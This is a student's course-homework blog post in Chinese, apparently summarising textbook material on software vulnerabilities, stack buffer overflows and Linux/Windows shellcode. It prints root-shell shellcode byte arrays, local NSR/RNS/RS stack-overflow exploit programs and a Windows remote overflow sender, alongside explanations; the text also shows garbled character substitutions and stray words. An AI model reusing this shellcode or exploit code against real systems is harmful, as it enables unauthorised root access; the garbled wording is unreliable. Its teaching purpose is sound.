20199311 2019-2020-2《网络攻防实践》第10周做业

问题 回答
这个做业属于哪一个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个做业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723
我在这个课程的目标是 学习教材第十章,了解缓冲区溢出漏洞和Shellcode的相关知识
这个做业在哪一个具体方面帮助我实现目标 相关知识点

1. 实践内容

1.1 软件安全概述

攻击者可以轻易地对系统和网络实施攻击,很大程度上是由于安全漏洞在软件中的大规模存在,攻击者能够利用这些漏洞来违背系统和网络的安全属性。安全漏洞在软件开发周期的各个环节(包括设计、编码、发布等)中均可能被引入,而只有软件设计与开发人员充分认识到安全漏洞的危害、掌握安全漏洞机理,以及如何避免漏洞的安全编程经验,并在软件厂商的软件开发生命周期中切实执行安全设计开发的流程,才有可能尽榄地减小发布软件中的安全漏洞数量,下降它们对网络与现实世界所带来的影响与危害。html

1.1.1 软件安全漏洞威胁

软件自从诞生之日起,就和 bug 如影随行,而其中能够被攻击者利用并致使危害的安全缺陷(Security bug)被称为软件安全漏洞(Software Vulnerability)。
美国国家标准技术研究院NIST 将安全漏洞定义为: “在系统安全流程、设计、实现或
内部控制中所存在的缺陷或弱点,可以被攻击者所利用并致使安全侵害或对系统安全策略的违反“,包括三个基本元素:系统的脆弱性或缺陷、攻击者对缺陷的可访问性,以及攻击者对缺陷的可利用性。所以一个安全脆弱性或缺陷真正被称为安全漏洞,必须是攻击者具有至少一种攻击工具或技术可以访问和利用到这一缺陷。软件安全漏洞则被定义为在软件的需求规范、开发阶段和配置过程当中引入的缺陷实例,其执行会违反安全策略。软件安全漏洞一样符合安全漏洞的三个基本元素, 同时被限制于在计算机软件中。linux

1.1.2 软件安全困境

软件安全困境三要素:复杂性(Complexity)、可扩展性(Extensibility)和连通性(Connectivity),软件的这三个要素共同做用,使得软件的安全风险管理成为了一个巨大的挑战,从而很难根除安全漏洞。算法

  • 复杂性:计算机软件通过数十年的发展,现代软件已经变得很是复杂,并且发展趋势代表,软件的规模还会更快地膨胀,变得更加复杂。而软件规模愈来愈大,愈来愈复杂,也就意味着软件的bug会愈来愈多。虽然这其中大多数 bug 并不会形成安全问题,或者没法被攻击者所利用,但只要攻击者可以从中发现出少数几个可利用的安全漏洞,他们就能够利用这些安全漏洞来危害软件的使用者。shell

  • 可扩展性:致使软件安全困境的第二个要素是软件的可扩展性。现代软件为了支持更加优化的软件架构,支持更好的客户使用感觉,每每都会提供一些扩展和交互渠道。但正是现代可扩展软件自己的特性使得安全保证更加困难,首先,很难阻止攻击者和恶意代码以不可预测的扩展方式来入侵软件和系统;其次,分析可扩展性软件的安全性要比分析一个彻底不能被更改的软件要因可贵多。编程

  • 连通性:互联网的普及使得全球更多的软件系统都连通在一块儿,不只是接入互联网的计算机数量快速增长,一些控制关键基础设施的重要信息系统也与互联网创建起了连通性。高度的连通性使得—个小小的软件缺陷就有可能影呐很是大的范围,从而引起巨大的损失。windows

1.1.3 软件安全漏洞类型

做为软件安全漏涧标准目录 CVE 的维护机构,MITRE 曾给出了在 CVE 中归档的安全
漏洞类型统计状况及发展趋势, 从安全漏洞的技术机理方面一共列举出了37类, 并统计了2001-2006 年中最流行的 Top 10 安全漏洞类型,以下图所示
图片描述数组

  • 内存安全违规类(MemorySafety Violations):内存安全违规类漏利是在软件开发过程当中在处理RAM (random-access memory) 内存访问时所引入的安全缺陷,如缓冲区溢出漏洞和 Double Free、Use-after-Free 等不安全指针问题等。内存安全违规类漏洞主要出如今 C/C++ 等编程语言所编写的软件程序中,因为这类语言支待任意的内存分配与归还、任意的指针计算、转换,而这些操做一般没有进行保护确保内存安全,于是很是容易引入此类漏洞。sass

  • 输入验证类(Input Validation Errors):输入验证类安全漏洞是指软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而致使可能被恶意攻击与利用。输入验证类安全新洞根据输入位置、恶意输入内容被软件程序的使用方式的不一样,又包含格式化字符串、SQL 注入、代码注入、远程文件包含、目录遍历、XSS、HTTP Header 注入、HTTP 响应分割错误等多种安全漏洞技术形式。输入验证类安全漏洞,特别是针对目前流行的 Web 应用程序的输入验证类漏洞,近年来已经成为攻击者最广泛利用的目标。安全

  • 竞争条件类(Race Conditions Errors):竞争条件类缺陷是系统或进程中一类比较特殊的错误,一般在涉及多进程或多线和处理的程序中出现,是指处理进程的输出或者结果没法预测,并依赖于其余进程事件发生的次序或时间时,所致使的错误。网络

  • 权限混淆与提高类(Privilege confusion and escalation bugs):权限混淆与提高类漏洞是指计算机程序由千自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不应给予的权限。权限混淆与提高类漏洞的具体技术形式主要有 Web 应用程序中的跨站请求伪造(Cross-Site Request Forgery,CSRF)、Clickjacking、FTP反弹攻击、权限提高、"越狱" (jailbreak) 等。

1.2 缓冲区溢出基础概念

缓冲区溢出 (Buffer Overflow) 是最先被发现也是最基础的软件安全漏洞技术类型之 一。

1.2.1 缓冲区溢出的基本概念

缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区自己的容量,致使外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。理想状况下,程序应检查每一个输入缓冲区的数据长度,并不容许输入超出缓冲区自己分配的空间容量,可是大量程序老是假设数据长度是与所分配的存储空间是相匹配的,于是很容易产生缓冲区溢出漏洞。
缓冲区溢出攻击发生的根本缘由,能够认为是现代计算机系统的基础架构——冯·诺伊曼休系存在本质的安全缺陷,即采用了 “存储程序” 的原理,计算机程序的数据和指令都在同一内存中进行存储而没有严格的分离。这一缺陷使得攻击者能够将输入的数据,经过利用缓冲区溢出漏洞,覆盖修改程序在内存空间中与数据区相邻存储的关键指令,从而达到使程序执行恶意注入指令的攻击目的。

1.2.2 缓冲区溢出攻击背景知识

  • 编译器与调试器的使用:C/C++ 等高级编程语言编写的源码,须要经过编译器(Compiler) 和链接器(Linker)才能生成可直接在操做系统平台上运行的可执行和序代码。向调试器(Debugger)则是程序开发人员在运行时刻调试与分析程序行为的基本工具。对于最常使用的 C/C++ 编程语言。最著名的编译与链接器是GCC,类UNIX 平台上进行程序的调试常用的调试器是 GDB 调试器。gdb的经常使用命令以下表
命令 做用
break/clear 来启用或禁用断点
enable/disable 来启用或禁用断点
watch 可设置监视表达式值改变时的程序中断
run 运行程序
attach 调试已运行进程
continue 继续运行
next 单步代码执行并不进入函数调用
nexti 单步指令执行并不进入函数调用
step 单步代码并跟入函数调用
stepi 单步指令并跟入函数调用
info 查看各类信息
backtrace 显示调用栈
x 限制指定地址内容
print 显示表达式值
list 列出程序源码需调试程序带符号编译
disass 反汇编指定函数

对于 Windows 平台,微软的 Visual Studio、VS.Net 是比较经常使用的集成开发环境,但对于以调试 C/C++ 语言为主的软件安全漏洞及渗透利用代码,使用 VC++ 便可,VC++集成开发环境中集成了微软自身的 C/C++ 编译器与链接器,以及自带的调试与反汇编功能。

  • 汇编语言基础知识:汇编语言,尤为是 IA32 (Intel 32位)架构下的汇编语言,是理解软件安全漏洞机理,掌握软件渗透攻击代码技术的底层基础。在IA32汇编语言中,首先咱们须要熟悉经常使用的寄存器和它们对应的功能,咱们从应用的角度通常将寄存器分为4类,即通用寄存器、段寄存器、控制寄存器和其余寄存器。通用寄存器如eax 、ebx 、ecx、edx等,主要用于普通的算术运算,保存数据、地址、偏移量、计数值等。咱们须要特别注意通用寄存器中的 "栈指针" 寄存器 esp,它在栈溢出攻击时是个关键的操纵对象。段寄存器在 IA32 架构中是16位的,通常用做段基址寄存器。控制寄存器用来控制处理器的执行流程,其中最关键的是 eip ,也被称为 “指令指针” 它保存了下一条即将执行的机器指令的地址,于是也成为各类攻击控制程序执行流程的关键攻击目标对象,而如何修改与改变将要被装载至 eip 寄存器的内存数据,以及修改成何地址,是包括缓冲区溢出在内渗透攻击的关键所在。其余寄存器中值得关注的是 “扩展标志” eflags 寄存器,由不一样的标志位组成,用于保存指令执行后的状态和控制指令执行流程的标志信息。
    图片描述

图片描述
在熟悉 IA32 架构寄存器以后,咱们还须要熟悉一些经常使用汇编指令的含义,有 IA32 架构汇编语言中,又分为 Intel 和 AT&T 两种具备不少差别的汇编格式。在类 UNIX 平台下,一般使用 AT&T 汇编格式,而在 DOS/Windows 平台下,则主要使用 Intel 汇编格式。
图片描述

  • 进程内存管理:Linux 操做系统中的进程内存空间布局和管理机制: 程序在执行时,系统在内存中会为程序建立一个虚拟的内存地址空间,在 32 位机上即 4GB 的空间大小,用于映射物理内存,并保存程序的指令和数据;Linux 的进程内存空间布局以下图所示,3GB(即0xc0000000)如下为用户态空间,3GB-4GB 为内核态空间;操做系统将可执行程序加载到新建立的内存空间中,程序通常包含 .text、.bss 和 .data 三种类型的段,.text段包含程序指令,在内存中被映射为只读,.data 段主要包含静态初始化的数据,而 .bss 段则主要包含未经初始化的数据,二者都被映射至可写的内存空间中;加载完成后,系统紧接着就开始为相序初始化 “栈” (Stack)和“ 堆” (Heap),“栈” 是一种后进先出的数据结构,其地址空间从商地址向低地址增加,Linux程序运行的环境变量 env 、运行参数 argv、运行参数数量 argc 都被放置在 “栈” 底,而后是主函数及调用 “栈” 中各个函数的临时保存信息,“堆” 则是一种先进先出的数据结构,用于保存程序动态分配的数据和变量,其地址空间从低地址往高地址增加,与 “栈” 正好相反;程序执行时,就会按照程序逻辑执行 .text 中的指令,并在 “堆” 和 “栈” 中保存和读取数据。
    图片描述
    Windows 操做系统的进程内存空间布局则与 Linux系统有着一些差别,以下图所示,2GB-4GB 为内核态地址空间,用于映射 Windows 内核代码和一些核心态 DLL,并用于存储一些内核态对象,0GB-2GB为用户态地址空间,高地址段映射了一些大量应用进程所共同使用的系统 DLL,如 Kernel32.dll、User32.dll等,在 1GB 地址位置用于装载一些应用进程自己所引用的 DLL 文件,可执行代码区间从0x00400000 开始, 而后是静态内存空间用于保存全局变量与静态变量,“堆” 一样是从低地址向高地址增加,用于存储动态数据,“栈” 也是从高地址向低地址增加,在单线程进程中通常的 “栈” 底在0x0012XXXX的位置。
    图片描述

  • 函数调用过程:栈结构与函数调用过程的底层细节是理解栈溢出攻击的重要基础,由于栈溢出攻击就是针对函数调用过程当中返回地址在栈中的存储位置,进行缓冲区溢出,从而改写返回地址,达到让处理器指令寄存器跳转至攻击者指定位置执行恶意代码的目的。
    程序进行函数调用的过程有以下三个步骤:

    1. 调用(call):调用者将函数调用参数、函数调用下一条指令的返回地址压栈,并跳转至被调用函数入口地址。
    2. 序言(prologue):被调用函数开始执行首先会进入序言阶段,将对调用函数的栈基址进行压栈保存,并建立自身函数的栈结构,具体包括将 ebp 寄存器赋值为当前栈基址,为本地函数局部变量分配栈地址空间,更新 esp 寄存器为当前栈顶指针等。
    3. 返回(return):被调用函数执行完功能将指令控制权返回给调用者以前, 会进行返回阶段的操做,一般执行 leave 和 ret 指令,即恢复调用者的栈顶与栈底指针,并将以前压栈的返回地址装载至指令寄存器 eip 中,继续执行调用者在函数调用以后的下一条指令。

1.2.3 缓冲区溢出攻击原理

缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不一样,又分为栈溢出、堆溢出和内核溢出这三种具体技术形态,栈溢出是指存储在栈上的一些缓冲区变量因为存在缺少边界保护问题,可以被溢出并修改栈上的敏感信息(一般是返回地址),从而致使程序流程的改变。堆溢出则是存储在堆上的缓冲区变量缺少边界保护所遭受溢出攻击的安全问题,内核溢出漏洞存在于一些内核模块或程序中,是因为进程内存空间内核态中存储的缓冲区变量被溢出形成的。
下面以栈溢出安全漏洞为例,来说解缓冲区溢出攻击的基本原理

#include <stdio.h>

void return_input(void){
    char array[30];
    gets(array);
    printf("%s\n", array);
}

int main (void){
    return_input();
    return 0;
}

这段代码中return_input()函数中定义了一个局部变量array,为30字节长度的字符串缓冲区,按照咱们对进程内存空间布局和各种型变量存储位置的了解,函数局部变量将被存储在栈上, 并位于main()函数调用时压栈的下一条指令(即return 0;) 返回地址之下,而在retum_input()函数中执行gets函数将用户终端输入至array缓冲区时,没有进行缓冲区边界检查和保护,所以若是用户输入超出30字节的字符串时,输入数据将会溢出array缓冲区,从而覆盖array缓冲区上方的EBPRET, 一旦覆盖了RET返回地址以后,在return_input()函数执行完毕返回main()函数时,EIP寄存器将会装载栈中RET位置保存的值,此时该位置已经被溢出改写为溢出的字符串,而该字符串多是进程没法读取的空间, 因此可能会形成程序的段错误(Segmentation fault)

在上述的示例代码中,咱们输入的数据成功地溢出了缓冲区,修改了EBPRET的内容,形成了程序进程的崩溃,若是是一些重要的程序进程,如网络服务进程,那么它的崩溃就意味着拒绝服务攻击。固然真正的黑客不会知足于只是形成程序的崩溃,他们还指望更进一步地控制程序的执行流程,从而经过溢出得到目标程序或系统的访问控制权。为了达到这一目标,就须要精心地构造缓冲区溢出攻击,解决以下三个问题:

  1. 如何找出缓冲区溢出要覆盖和修改的敏感位置?例如栈溢出中的RET返回地址在栈中的存储位置。
  2. 将敏感位置的值修改为什么?
  3. 执行什么代码指令来达到攻击目的?在程序控制权移父至攻击者注入的指令后,那么这段指令究成何种功能,如何编写?(这段代码被称为攻击的 payload ,一般会为攻出者给出一个远程的 Shell 访问, 所以也被称为 Shellcode)

来看这段示例代码

#include <stdio.h>
#include <string.h>
char shellcode[]=
// setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80


char large_string[128];
int main(int argc, char **argv){
	char buffer[96];
	int i;
	long *long_ptr = (long *) large_string;
	for (i = 0; i < 32; i++)
		*(long_ptr + i) = (int) buffer;
	for (i = 0; i < (int) strlen(shellcode); i++)
		large_string[i] = shellcode[i];
	strcpy(buffer, large_string);
	return 0;
}

这段示例代码中 6字节长度的局部变量buffer在漏洞利用点strcpy()函数缺少边界安全保护,攻击者经过精心构造large_string这一个128字节长度的数据, 仅在其在低地址包含一段 Shellcode代码(0—31),而其余均填充为指向buffer起始位置的地址(即被覆盖后large_string中的 Shellcode 起始地址),在漏洞利用点执行strcpy操做以后,buffer缓冲区会被溢出,main 函数的返回地址RET 将会被覆盖并改写为 Shellcode 的起始地址,所以在return时,EIP寄存器装载改写后RET值,并将程序执行流程跳转至 Shellcode 执行。

在这个示例代码中,溢出攻击的第一个关键问题——定位须要修改的敏感位置,即栈中的返回地址,根据对栈结构与内存布局,咱们能够定位返回地址位于要溢出的buffer变量的高地址位置。第二个关键问题——将敏感位置的值修改成什么,示例代码中将其改写为直接指向 Shellcode 的地址。第三个关键问题——执行什么代码,示例代码中保护了一段代码,用于系统调用,开启一个命令行 shell。

1.3 Linux平台上的栈溢出与 Shellcode

1.3.1 Linux平台栈溢出攻击技术

Linux平台中的栈溢出攻击按照攻击数据的构造方式不一样,主要有NSR、RNS 和 RS 三种模式。

  • NSR模式:NSR 模式主要适用于被溢出的缓冲区变量比较大,足以容纳 Shellcode的 状况,其攻击数据从低地址到高地址的构造方式是一堆Nop指令(即空操做指令)以后填充 Shellcode,再加上一些指望覆盖RET返回地址的跳转地址,从而构成了 NSR 攻击数据缓冲区。
    首先来看一个具备栈溢出漏洞的程序 vulnerable1.c
#include<stdio.h> 

int main(int argc,char **argv){ 
   char buf[500]; 
   strcpy(buf,argv[1]); 
   printf("buf's 0x%8x\n",&buf); 
   getchar();
   return 0; 
}

而后是一段攻击者精心构造的攻击代码

#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 

char shellcode[]= 
// setreuid(0,0); 
"\x31\xc0" // xor %eax,%eax 
"\x31\xdb" // xor %ebx,%ebx 
"\x31\xc9" // xor %ecx,%ecx 
"\xb0\x46" // mov $0x46,%al 
"\xcd\x80" // int $0x80 
// execve /bin/sh 
"\x31\xc0" // xor %eax,%eax 
"\x50" // push %eax 
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f 
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f 
"\x89\xe3" // mov %esp,%ebx 
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx 
"\x50" // push %eax 
"\x53" // push %ebx 
"\x8d\x0c\x24" // lea (%esp,1),%ecx 
"\xb0\x0b" // mov $0xb,%al 
"\xcd\x80" // int $0x80 
// exit(); 
"\x31\xc0" // xor %eax,%eax 
"\xb0\x01" // mov $0x1,%al 
"\xcd\x80"; // int $0x80 

unsigned long get_esp(){ 
   __asm__("movl %esp,%eax"); 

} 

int main(int argc,char *argv[]){ 
   char buf[530]; 
   char* p; p=buf; 
   int i; unsigned long ret; 
   int offset=0; 

   /* offset=400 will success */ 
   if(argc>1) offset=atoi(argv[1]); 
   ret=get_esp()-offset; 
   memset(buf,0x90,sizeof(buf)); 
   memcpy(buf+524,(char*)&ret,4); 
   memcpy(buf+i+100,shellcode,strlen(shellcode)); 
   printf("ret is at 0x%8x\n esp is at 0x%8x\n",
	   ret,get_esp()); 
   execl("./vulnerable1","vulnerable1",buf,NULL); 
   return 0; 
}

攻击代码的核心是在于调用vulnerable1时传入的字符串。能够看到咱们在程序中定义的字符串的空间大小是500字节,可是在咱们实际调用的过程当中,传入的字符串的大小是530字节。咱们如今分析这长度为530的字符串的组成方式,首先前500字节都被0x90填充,也就是咱们熟知的NOP;接下来的就是上文中提到的 Shellcode;最后就是4个字节的地址,这个地址ret是经过计算获得的,根据咱们程序参数的不一样,将跳到咱们使用NOP设置的着陆区之中,而不管跳转到哪一个Nop指令,程序都会继续执行,并最终运行 Shellcode ,向攻击者给出 Shell。
图片描述

  • RNS模式:第二种栈溢出的模式为 RNS 模式,通常用于被溢出的变量比较小,不足以容纳 Shellcode 的状况
    首先来看存在漏洞的程序vulnerable2.c
#include<stdio.h> 

int main(int argc,char **argv){ 
   char buf[10]; 
   strcpy(buf,argv[1]); 
   printf("buf's 0x%8x\n",&buf); 
   getchar();
   return 0; 
}

接下来看在 RNS 模式下的攻击代码(shellcode部分与上文相同)

#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 

char shellcode[]; 
int main(int argc,char **argv){ 
   char buf[500]; 
   unsigned long ret,p; 
   int i; 
   p=&buf; 
   ret=p+70; 
   memset(buf,0x90,sizeof(buf)); 
   for(i=0;i<44;i+=4) 
      *(long *)&buf[i]=ret; 
   memcpy(buf+400+i,shellcode,strlen(shellcode)); 
   execl("./vulnerable2","vulnerable2",buf,NULL); 
   return 0;

一样地,攻击代码的核心是在于调用vulnerable2时所传入的字符串。但由于缓冲区的大小只有10字节,因此攻击数据按照从低地址到高地址(数组中先定义的为低地址,后定义的为高地址)的构造方式是首先填充一些指望覆盖ret返回地址的跳转地址,而后是一堆Nop指令填充出 “着陆区 ”,最后再是 Shellcode。在溢出攻击以后,攻击数据将在ret区段即溢出了目标漏洞程序的小缓冲区,并覆盖了栈中的返回地址,而后跳转至Nop指令所构成的“ 着陆区 ”,并最终执行 Shellcode。
图片描述

  • RS 模式:第三种 Linux 平台上的栈溢出攻击模式是 RS 模式,在这种模式下可以精确地定位出 Shellcode 在目标漏洞程序进程空间中的起始地址,所以也就无须引入Nop空指令构建 “着陆区” 。
    这种模式是将Shellcode放置在目标漏洞程序执行时的环境变量中,因为环境变量是位于Linux进程空间的栈底位置,于是不会受到各类变量内存分配与对齐因素的影响,其位置是固定的。能够经过以下公式进行计算:
ret=0xc0000000-sizeof(void*)-sizeof(FILENAME)-sizeof(Shellcode)

漏洞的程序就是上文提到的 vulnerable2.c
​接下来咱们给出攻击代码(shellcode部分与上文相同)

#include<stdio.h> 

char shellcode[]; 

int main(int argc,char **argv){ 
   char buf[32]; 
   char *p[]={"./vulnerable2",buf,NULL}; 
   char *env[]={"HOME=/root",shellcode,NULL}; 
   unsigned long ret; 
   ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *); 

   memset(buf,0x41,sizeof(buf)); 
   memcpy(&buf[28],&ret,4); 

   printf("ret is at 0x%8x\n",ret); 
   execve("./vulnerable2", "/vulnerable2", buf, env); 

   return 0; 
}

​这个代码的RET地址是精确计算出来的。咱们能够看到计算出的返回地址是基于栈地址开始的位置、惟一的环境变量的长度、函数参数的长度、函数指针的长度计算出来,也就是程序中环境变量。这样能够保证在攻击缓冲区中填充直接跳转至 Shellcode 的起始地址,在溢出并改写栈中保存的返回地址以后,程序控制流程将跳
转至 Shellcode 并执行。

Linux 平台上的远程栈溢出攻击的原理与本地栈溢出是同样的,区别在于用户输入传递的途径不一样,以及 Shellcode 的编写方式不一样。
本地栈溢出的用户输入传递途径主要为 argv 命令行输入、文件输入等,而远程栈溢出的用户输入传递途径则是经过网络,存在远程栈溢出漏洞的每每是一些网络服务进程或网络应用程序,攻击者能够在网络应用层协议交互过程当中,利用上述介绍的模式构造恶意网络数据包,发送给漏洞程序,从而进行渗透攻击。
NSR 和 RNS 模式也都适用千远程栈溢出攻击, 使用场景也主要取决千被溢出的目标缓冲区大小是否足够容纳 Shellcode。因为 RS 模式是经过本地的 execve()将Shellcode 放置在环境变量中传递给目标漏洞程序的,所以这种模式不适用于经过网络的远程缓冲区溢出攻击,而只能用于本地缓冲区溢出攻击。

1.3.2 Linux 平台的 Shellcode 实现技术

Shellcode 是一段机器指令,对于咱们一般接触的 IA32 架构平台,Shellcode就是符合 Intel 32 位指令规范的一串 CPU 指令, 被用于溢出以后改变系统正常流程,转而执行 Shellcode 以完成渗透测试者的攻击目的,一般是为他提供一个访问系统的本地或远程命令行访问(即Shell)。按照在本地溢出攻击和远程溢出攻击使用场景的不一样,又分为本地 Shellcode 和远程 Shellcode。

  • Linux 本地 Shellcode 实现机制:Linux 系统本地 Shellcode 一般提供的功能就是为攻击者启动一个命令行 Shell。在使用libc进行编程的状况下,一个典型的 Linux 系统本地 Shellcode 的 C 语言实现代码以下所示, 即经过execve()函数启动/bin/sh提供命令行。
#include <stdio.h>
int main ( int argc, char * argv[] )
{
    char * name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve( name[0], name, NULL );
}

可是咱们没法直接将这段 C 语言源代码做为注入攻击负载,提供给目标程序进行执
行。做为可以让目标程序被溢出以后跳转执行的代码,咱们必须提供以二进制指令形式存在的 Shellcode。

mov    $0x0,%edx
push   %edx
push   $0x68732f6e
push   $0x69622f2f
mov    %esp,%ebx
push   %edx
push   %ebx
mov    %esp,%ecx
mov    $0xb,%eax
int    $0x80

这段代码从左到右的次序,分别将execve()函数的参数NULL(0x0) name 变量地址、/bin/sh字符串地址压入栈中,而后将eax赋值为execve()系统调用号0xb,执行int 0x80软中断,即调用了execve()函数,并将压栈的输入参数传递给execve()函数例程,从而完成开启 Shell 的功能。

xor    %edx,%edx
push   %edx
push   $0x68732f6e
push   $0x69622f2f
mov    %esp,%ebx
push   %edx
push   %ebx
mov    %esp,%ecx
mov    $0xb,%eax
int    $0x80

这段代码与上段代码具备彻底相同的程序,引入的二进制指令空字节 即OxOO 或NULL) 进行消除,如在mov $0x0, %edx指令中0x0当即数中存在着的空字节等,进行空字节的消除处便是为了使得最终编制的 Shellcode 中不有在空字节,从而避免在渗透攻击中对strcpy()等字符串操做函数时,在空字节处截断 Shellcode 导致攻击失效。
在得到汇编语言实现的 Shellcode 以后,咱们能够经过查找 Intel opcode 指令参考手册,便可得到 opcode 二进制指令形式的 Shellcode,最终得到的 opcode 二进制指令代码以下所示。
图片描述

图片描述

char shellcode[] = 
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

以上咱们介绍了 Linux 系统中一个最简单的本地 Shellcode 的产生过程,而这个过程事实上也体现了 Shellcode 的通用方法,包括以下 5 个步骤:

  1. 先用高级编程语言,一般用 C 来编写 Shellcode 程序
  2. 编译并反汇编调试这个 Shellcode 程序
  3. 从汇编语言代码级别分析程序执行流程
  4. 整理生成的汇编代码,尽可能减少它的体积并使它可注入,并可经过嵌入 C 语言进行运行测试和调试;
  5. 提取汇编代码所对应的 opcode 二进制指令,建立 Shellcode 指令数组。
  • Linux 远程 Shellcode 实现机制:Linux 系统上的远程 Shellcode 的实现原理与本地 Shellcode 彻底一致,也是经过执行一系列的系统调用来完成指定的功能。实现方法步骤也是首先给出高级语言的功能代码实现,而后经过反汇编调试编译后的二进制程序,提取、优化和整理所得到的汇编代码,并最终产生 opcode 二进制指令代码。Linux 远程 Shellcode 须要让攻击目标程序建立 socket 监听指定的端口等待客户端链接,启动一个命令行 Shell,并将命令行的输入输出与 socket 绑定,这样攻击者就能够经过 socket 客户端链接目标程序所在主机的开放端口,与服务端 socket 创建起通讯通道,并得到远程访问 Shell。

1.4 Windows 平台上的栈溢出与 Shellcode

从技术上分析,因为Windows橾什系统与Linux操做系统在进程内存空间布局、系统
对栈的处理方式、系统功能调用方式等方面的实现差别,虽然栈溢出的基础原理和大体流程是一致的,但在具体的攻击实施细节、Shellcode 编制等方面仍是存在一些差异。

1.4.1 Windows 平台栈溢出攻击技术

  • Windows平台栈溢出攻击技术机理:与Linux的不一样点主要有如下三个:
    1. 对程序运行过程当中废弃栈的处理方式差别:程序运行过程拥有大量的函数调用,而当一个函数调用完成返回至调用者,执行下条指令以前,会有恢复栈基和栈顶指针的过程,同时一些操做系统对调用函数的废弃栈中的数据会进行一些处理,Windows 平台会向废弃栈中写入一些随机的数据,而 Linux 则不进行任何的处理
    2. 进程内存空间的布局差别:Windows操做系统的进程内存空间布局与Linux存在着不一样,Linux进程内存空间中栈底指针在0xc0000000之下,即通常栈中变量的位置都在0xbfff地址附近,在这些地址中没有空字节。Windows平台的栈位置处于0x00FFFFFF如下的用户内存空间,通常为0x0012地址附近,而这些内存地址的首字节均为0x00空字节。
    3. 系统功能调用的实现方式差别:Windows平台卜进行操做系统功能调用的实现方式较Linux也更加复杂,Linux系统中经过 “int 80” 中断处理来调用系统功能,而 Windows 系统则是经过操做系统中更为复杂的 API 及内核处理例程调用链来完成系统功能调用,对应用程序直接可见的是应用层中如 Kernel32.dll、User32.dll 等系统动态连接库中导出的一些系统 API 接口函数。因为存在这样的差别,在实施包括栈溢出的各种渗透攻击时,攻击者注入执行的 Shellcode 在编写时就须要考虑系统功能调用方式的区别。

为了应对这前两点差别对 Windows 平台上栈溢出攻击所带来的挑战,1999年 Dark Spyrit 提出使用系统核心DLL中的JMP ESP指令来完成控制流程的跳转。在函数调用结束装载返回地址的时刻,ESP 指针刚好是指向了注入攻击缓冲区数据中的Nop指令和 Shellcode,那么若是咱们将返回地址改写为一个指向JMP ESP操做指令的高位地址,使得这个地址中不含空字节(也就不会被字符串操做函数所截断),那咱们就能够构造出一段能够成功实施栈溢出的攻击数据,由于目标程序在函数调用完成执行RET指令时,就会将在返回地址位置改写的指令地址装载入 EIP 寄存器,并跳转至该地址继续执行,而这个地址指向的指令是JMP ESP,同时 ESP 寄存器又偏偏指向的是栈上 Nop 和 Shellcode 的位置,所以这条指令会帮助咱们将程序流程返回到栈上,转而执行所注入的 Shellcode 。JMP ESP的地址能够在一般能够在进程内存空间中 1GB 到 2GB 区间中装载的系统核心DLL (如Kernel32.dll 、User32.dll 等)中找到。

  • 远程栈溢出攻击示例:
    下面是一段 windows 下攻击远程栈溢出攻击的示例代码
int main()
{
        WSADATA wsa;
        SOCKET sockFD;
        char Buff[1024],*sBO;
        WSAStartup(MAKEWORD(2,2),&wsa);
        sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons(3764);
        server.sin_addr.s_addr=inet_addr("127.0.0.1");
        connect(sockFD,(struct sockaddr *)&server,sizeof(server));
        for(int i=0;i<56;Buff[i++]=0x90);
        strcpy(Buff+56,(char *)eip);
        strcpy(Buff+60,(char *)sploit);
        sBO = Buff;
        send(sockFD,sBO,56+4+560,0);
        closesocket(sockFD);
        WSACleanup();
        return 1;
}

能够看到传入字符串的大小是1024字节,而后咱们先填充了若干字节的NOP做为着陆区,接下来咱们填入了指向JMP ESP指令的地址,最后将咱们 Shellcode 放到目标地址上,使得send()将攻击数据经过socket发送给目标函数的服务的时候,将处理函数的 ESP 覆盖,跳转到咱们事先定义好的 Shellcode

1.4.2 Windows 平台 Shellcode 实现技术

为了使得 Windows 中的 Shellcode 可以调用操做系统功能以完成攻击目标,并可以在指望注入的不一样目标程序中正常运行,咱们须要考虑以下问题:

  1. Shellcode必须能够找到所需的 Windows 32 API 函数,并生成函数调用表
  2. 为使用 API 函数,shellcode必须找出目标程序已加载的函数地址
  3. Shellcode 需考虑消除空字节,以免在字符串操做函数中被截断
  4. Shellcode 需确保本身能够正常退出,并使原来的目标程序进程继续运行或终止
  5. 在目标系统环境存在异常处理和安全防御机制时,Shellcode 需进一步考虑如何对抗这些机制。
  • Windows 本地 Shellcode:在Windows平台上,典型的本地Shellcode一样也是启动一个命令行Shell,即command.comcmd.exe,Windows 32的系统 API 中提供了system()函数调用,能够用于启动指定程序或运行特定命令,在调用system(command.com)以后便可启动命令行程序。
